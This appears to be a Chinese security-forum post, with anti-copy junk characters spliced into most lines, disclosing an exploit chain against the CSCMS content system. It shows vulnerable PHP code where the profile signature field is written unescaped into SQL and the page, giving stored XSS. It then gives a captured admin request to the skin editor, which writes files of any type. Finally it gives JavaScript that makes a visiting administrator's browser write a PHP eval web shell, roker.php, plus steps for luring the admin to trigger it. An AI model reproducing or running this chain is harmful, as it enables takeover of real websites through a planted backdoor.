|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题1 ~# U0 [, w6 W; A5 y& z% Z
官网已经修补了,所以重新下了源码; V$ Z# }) j5 E2 h% [- O
因为 后台登入 还需要认证码 所以 注入就没看了。
6 Z8 Z5 W# Z3 A2 I7 {8 j( \存在 xss3 R/ c- \7 i5 V a; |
漏洞文件 user/member/skin_edit.php
1 a# |9 \) c0 ^7 [本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:2 v- t0 a9 [+ Q/ X. J1 p6 ^
9 w3 Y' G( y5 w' F% _% a) W</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
' [$ X9 a5 q7 P$ o1 v : i4 n: |1 v, l" d
</textarea></td></tr>& l O$ e: t$ {8 \) K3 s
7 a. k8 F3 l% d. r user/do.php
2 Z; J( W0 W) A/ K6 h% z. i
+ p# ~. e# K. H0 o- ~$ {6 {1 s) p
if($op=='zl'){ //资料$ @4 v- Y: f+ M& m8 s* R3 z
1 r3 k: E2 n* @' g% i" }( A8 U4 }
if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 0 u3 c8 Z8 ?5 {( r! r+ P: l
exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));8 F- _/ d2 K" b6 `2 J5 k( T7 k% T9 v( ^
5 j! p) E+ {0 U& d m2 E $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',& X% \9 `. y- ? m3 z7 C& M ?
7 J/ f* m" U; x2 b, X5 x CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
, X( c7 L" W/ |, w1 Z0 _ where CS_Name='".$cscms_name."'";
: [1 H( J6 b# ^7 y3 X / q3 c% d F' v5 N# A. Z
if($db->query($sql)){
- C! J$ m; i' g) C" \) T ( D& w0 q: I9 J' @- m
exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
# H+ D5 l' M7 F; E
3 Q4 U# T+ r+ u# S }else{# F4 j, R d2 w2 u$ F
' i* `7 x% p* @. k3 c- ?: l+ [. ]( n exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
6 Q- |" S' O# Z% ^7 y5 X
! a8 C( N Q2 R0 ` }
" }. e3 y/ w# i4 ~6 x$ \2 K9 D" b
$ m$ j$ D T6 S
0 k9 [8 ^& q) U1 d2 r没有 过滤导致xss产生。4 r3 R" Z7 b2 c% F
后台 看了下 很奇葩的是可以写任意格式文件。。
% x- i: w! i1 X抓包。。) w" \2 w: r+ C: J% d
7 l H. K5 f1 C: }
/ ?; U5 o% \ e$ T本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1: D2 K0 Q6 c' M& [6 z# X
# o' M2 K6 j# a6 d( D9 {5 J
Accept: text/html, application/xhtml+xml, */*
8 N, J3 d+ h/ L+ G0 o/ j+ t
3 r: ?- X+ M% q3 G- ~4 IReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php# P1 H: j* B) y% a3 [
% j6 l ^, L1 f4 ?) V u" q: N- J9 Q
Accept-Language: zh-CN
4 j' ?' K V3 v& c; t( P
. i# ?7 L- [2 }% QUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)2 n. S ^& R7 q1 n$ t% o1 p
- n# X1 d U" y- ^* kContent-Type: application/x-www-form-urlencoded
! }. `3 Z3 A& I! L$ Z0 k) {
# E; B0 c) Q3 p% [ E+ KAccept-Encoding: gzip, deflate5 ?' b" i: x s; l
^9 \5 i2 `0 o4 m. _' K
Host: 127.0.0.1$ C4 L8 w8 y* m$ E
9 O9 \4 @, V# A6 X/ o
Content-Length: 38- [: a% L* r8 ^5 C
, F. A6 U4 l) v! o# B# R7 z5 ODNT: 1
9 z9 g) m% W4 J$ W" z; [
% `! X! E2 s! G' v$ i3 u; EConnection: Keep-Alive
: e8 ?. _' [+ h( ]3 w! F
( y! n5 E$ N$ K6 t/ g; A5 w/ q8 ?Cache-Control: no-cache/ c! L- g9 {" ~' c
; U2 g7 t3 G8 f3 k% `$ [5 ~
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655941 h; G$ [- Q6 x2 o$ j
4 o' C8 r: p# F3 k+ w; |
5 t+ A, q4 X v* b! E" C
name=aaa.php&content=%3Cs%3E%3Ca%25%3E' H! Q$ U+ ?, r4 l$ g. K+ v
7 B/ \ Z3 [3 F- ~7 [
7 h9 y) ?3 a0 a
& }4 U/ j% [- ]) r于是 构造js如下。
$ g+ i- s; p9 }3 k5 p+ B) E: L" {4 P6 u1 ~& j4 u- K
本帖隐藏的内容<script>
9 B3 `' y* o- G8 o7 E, P1 `( ?thisTHost = top.location.hostname;: x0 \6 d$ B; w* f+ I
7 U4 x& w; T6 e9 [2 p
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";2 E2 ~1 G) ?8 V, X* O3 Q* w& S& y
+ z t7 z! P9 l I; \function PostSubmit(url, data, msg) {
, t2 y) M+ O+ X4 b9 W4 n) l var postUrl = url;
( d" d: H# z, a+ G/ F2 ^0 u & h9 S3 G# w- L9 y/ ?3 i
var postData = data; ! w9 Y0 I1 a; |$ s q' ~: R$ U: ~6 U
var msgData = msg; ! H) M$ U* h, W% I$ t
var ExportForm = document.createElement("FORM");
* ?5 G$ c* f4 V+ z: Z7 M1 Z d: ? document.body.appendChild(ExportForm);
" }! f& H' ]/ j: G ExportForm.method = "POST";
9 u8 k. O/ ?/ F$ a, }5 p var newElement = document.createElement("input");
5 D; M! L7 B9 T0 ?. W1 ? newElement.setAttribute("name", "name");
8 N! v6 u2 c- V% Q% E; B# V newElement.setAttribute("type", "hidden");
. J h" N/ {% s var newElement2 = document.createElement("input");
6 J& ?/ N, W7 u3 K1 y& Y newElement2.setAttribute("name", "content"); : x0 U( Y, c% i9 v0 \
newElement2.setAttribute("type", "hidden"); 0 r8 b3 Q- F' \" ]7 y# V
ExportForm.appendChild(newElement);
+ |6 N* @0 u, V# V; h4 Y7 _/ K1 v ExportForm.appendChild(newElement2); 8 |0 Z. A( a, l( n
newElement.value = postData;
; t* h. A3 T( m, U newElement2.value = msgData;
& p! }! ?* Z8 N: f ExportForm.action = postUrl; ; `0 R! X) K1 d/ `& d1 U; M& S- i' z+ `
ExportForm.submit();
/ p* s/ _+ s2 ^1 X. c7 F5 W* o2 N8 K};
# k6 A" }# `# g+ n% ]. P2 s 2 [) x+ h m- Y6 n5 l; b3 `+ w9 h
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
6 a' o J/ h+ L3 W2 i 3 G, ^9 B) C, L3 n
</script>
$ ^1 ]8 Q( ^0 N# Y7 r* t
* S3 L; D- {7 t" ]) i6 t% p& |& ]: {/ h$ y( F% @: \6 u
% P( s4 r* u4 |8 D Z4 J: v
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
' \* s/ l' J l/ C0 J3 v用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
1 W+ [+ r1 @4 G就会 在 skins\index\html\目录下生成 roker.php 一句话。 | 2 P$ Y! Z6 u/ B- a5 D+ h1 j' P% L
|
|